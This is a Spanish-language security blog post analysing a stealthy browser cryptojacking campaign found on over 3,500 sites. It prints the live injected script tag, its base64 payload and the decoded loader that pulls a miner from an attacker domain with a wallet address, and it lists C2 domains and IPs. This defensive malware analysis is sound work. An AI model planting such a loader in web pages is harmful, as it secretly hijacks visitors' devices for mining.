Skip to main content
Blog
Blog

El CryptoJacking ha muerto: larga vida al CryptoJacking

El cryptojacking moderno ha evolucionado hacia ataques silenciosos y de múltiples etapas.

Jul 17, 2025 5 min read
long-live-cryptojacking-on-black-and-blue-background

El auge y la caída (y el regreso) de la minería en el navegador

Corría el año 2017 cuando Coinhive irrumpió en escena, incrustando un minero de Monero directamente en sitios web. Los usuarios minaban criptomonedas sin saberlo mientras navegaban, convirtiendo sus dispositivos en silenciosas máquinas de generar beneficios para los propietarios de los sitios.

Por un breve momento, pareció una situación en la que todos ganaban: los sitios web obtenían ingresos sin anuncios y los usuarios evitaban los molestos pop-ups. Pero cuando la tasa de hash de Coinhive se disparó hasta el 12% de la potencia total de la red de Monero, la ralentización de los dispositivos y el agotamiento de la batería desataron la indignación pública.

En 2019, navegadores como Chrome y Firefox bloquearon el CryptoJacking en el navegador, y Coinhive cerró.

El cryptojacking, al parecer, había muerto.

Pero en ciberseguridad, la muerte rara vez es definitiva…

Una misteriosa caída (y un fallo en la matrix)

Aquí en cside llevábamos años rastreando campañas de cryptojacking. A finales de 2024, nuestros paneles mostraban un descenso pronunciado en la actividad. Las cargas útiles de minería se bloqueaban con mayor eficacia y los atacantes parecían haberse trasladado a pastos más verdes, como el ransomware o el robo de credenciales.

Entonces, un martes de rutina, nuestro rastreador marcó algo extraño: un archivo JavaScript de terceros cargado desde https://www.yobox[.]store/karma/karma.js?karma=bs?nosaj=faster.mo.

La propia URL era una señal de alerta: un parámetro aleatorio, una consulta sin sentido nosaj=faster.mo. Pero lo que realmente disparó las alarmas fue el comportamiento del archivo:

  • Sin peticiones de red (a primera vista).
  • Sin picos de CPU evidentes en pruebas en entorno aislado.
  • Y aun así, nuestra IA lo marcó como malicioso.

Esto no era el cryptojacking ruidoso y devorador de recursos de 2018. Era… silencioso.

Inyección en el sitio web:

<script defer="" src="data:text/javascript;base64,KGZ1bmN0aW9uKGQsIHMsIGlkKXsKICAgIHZhciBqcywgZmpzID0gZC5nZXRFbGVtZW50c0J5VGFnTmFtZShzKVswXTsKICAgIGlmIChkLmdldEVsZW1lbnRCeUlkKGlkKSl7IHJldHVybjsgfQogICAganMgPSBkLmNyZWF0ZUVsZW1lbnQocyk7IGpzLmlkID0gaWQ7CiAgICBqcy5vbmxvYWQgPSBmdW5jdGlvbigpewogICAgICAgIEV2ZXJ5dGhpbmdJc0xpZmUoJzQ3TnNhRXdoYms5MkNmaWJNSmc4TThoSjczTEtEdjlOVGpOdEhMRkg2RVFFMnNBVWRnbndQYzIzMWdnaGYzcllCdkM2Y1h2Z0xhaEpLYTRyaXFRQnhiVDFIQmpRaEZ1JywgJ3dlYicsIDUwKTsKICAgIH07CiAgICBqcy5zcmMgPSAnaHR0cHM6Ly90cnVzdGlzaW1wb3J0YW50LmZ1bi9rYXJtYS9rYXJtYS5qcz9rYXJtYT1icz9ub3Nhaj1mYXN0ZXIubW8nOwogICAgZmpzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGpzLCBmanMpOwp9KGRvY3VtZW50LCAnc2NyaXB0JywgJ2JhY2t1cC1qc3MnKSk7Cg=="></script>

El Base64 se decodifica como:

(function(d, s, id){
    var js, fjs = d.getElementsByTagName(s)[0];
    if (d.getElementById(id)){ return; }
    js = d.createElement(s); js.id = id;
    js.onload = function(){
        EverythingIsLife('47NsaEwhbk92CfibMJg8M8hJ73LKDv9NTjNtHLFH6EQE2sAUdgnwPc231gghf3rYBvC6cXvgLahJKa4riqQBxbT1HBjQhFu', 'web', 50);
    };
    js.src = 'https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=faster.mo';
    fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'backup-jss'));

Trustisimportant[.]fun redirige al usuario a yobox[.]store, desde donde se descarga el JS malicioso.

Depurando el fantasma: un tutorial de JS 101

Cargamos el script en un entorno controlado para diseccionarlo. Así fue como lo abordamos:

Paso 1: Construir un entorno de depuración seguro

Envolvimos el JS en una página HTML sencilla con una Política de Seguridad de Contenido (CSP) para permitir la depuración sin activar los bloqueos del navegador:

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'unsafe-inline'">
  <title>Debugging Karma</title>
</head>
<body>
  <script src="karma.js"></script> <!-- El archivo malicioso -->
</body>
</html>

La directiva unsafe-eval fue fundamental porque el script utilizaba ofuscación similar a eval para ocultar su lógica.

Paso 2: Insertar trampas de depuración

Añadimos sentencias debugger; en puntos clave para pausar la ejecución en Chrome DevTools. Por ejemplo:

function _0x6BE7() { // Una función de configuración de WebSocket
  debugger; // <-- La ejecución se pausa aquí
  if (ws != null) { ws.close(); }
  // ... resto del código
}

Paso 3: Decodificar la ofuscación

El script era un laberinto de variables renombradas (p. ej., _0x6AC1, _0x6B23) y cadenas codificadas. Usando la pestaña Sources de DevTools:

  1. 1.Establecimos puntos de interrupción para recorrer la ejecución paso a paso.
  2. 2.Observamos variables para mapear sus propósitos reales (p. ej., _0x6B85 comprobaba si el dispositivo era móvil).
  3. 3.Rastreamos la actividad de red a través de la pestaña Network, lo que reveló conexiones WebSocket a wss://lokilokitwo[.]de:10006.

El hallazgo clave: un minero silencioso

El script no minaba criptomonedas directamente. En su lugar:

  • Comprobaba la compatibilidad con WebAssembly (para evaluar la potencia del dispositivo).
  • Creaba Web Workers en segundo plano (array worcy) para ejecutar tareas de minería sin bloquear el hilo principal.
  • Usaba WebSockets para recibir comandos del servidor C2, ajustando la intensidad de la minería según las capacidades del dispositivo.

Era un minero sigiloso, diseñado para evitar la detección manteniéndose por debajo del radar tanto de los usuarios como de las herramientas de seguridad.

El panorama general: más de 3.500 sitios infectados

Una investigación más profunda descubrió una campaña de gran alcance:

  • Más de 3.500 sitios web cargaban el malicioso karma[.]js.
  • Infraestructura reutilizada: el dominio trustisimportant[.]fun estaba vinculado tanto a campañas de cryptojacking como de Magecart (skimming de tarjetas de crédito). Los atacantes diversificaban sus cargas útiles.
  • IPs clave: 89.58.14.251 y 104.21.80.1 actuaban como servidores de mando y control (C2).

El lema de la campaña: "Mantente bajo el radar, mina despacio." Al limitar el uso de CPU y ocultar el tráfico en flujos WebSocket, evitaba los indicios característicos del cryptojacking tradicional.

CryptoJacking 101: ¿Qué es el CryptoJacking y cómo funciona hoy?

El cryptojacking moderno ha evolucionado hacia un ataque silencioso y de múltiples etapas:

  1. Scripts dropper: archivos JS maliciosos (como karma[.]js) se inyectan en sitios web.
  2. Comprobaciones del entorno: el script verifica la compatibilidad con WebAssembly, el tipo de dispositivo (móvil o escritorio) y las características del navegador para optimizar la minería.
  3. Creación de workers: se crean Web Workers para ejecutar tareas de minería en segundo plano, evitando señales de alerta de rendimiento.
  4. Comunicación con el C2: peticiones WebSocket o HTTPS obtienen tareas de minería y envían los resultados a los servidores C2.

El objetivo no es agotar los dispositivos de inmediato, sino persistentemente drenar recursos a lo largo del tiempo, como un vampiro digital.

Conclusión: el juego del gato y el ratón continúa

El cryptojacking no ha muerto, simplemente se ha vuelto más inteligente. Los atacantes ahora priorizan el sigilo sobre el robo de recursos por la fuerza bruta, usando ofuscación, WebSockets y reutilización de infraestructura para permanecer ocultos.

Esta tendencia en los ataques del lado del cliente está en continuo aumento.

La necesidad de una prevención adecuada del CryptoJacking es una realidad.

Himanshu Anand
Software Engineer Himanshu Anand

I'm a software engineer and security analyst.

Monitorea y Asegura tus Scripts de Terceros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comienza gratis, o prueba Business con una prueba de 14 días.

Interfaz del panel de cside mostrando monitoreo de scripts y análisis de seguridad
Related Articles
Reservar una demo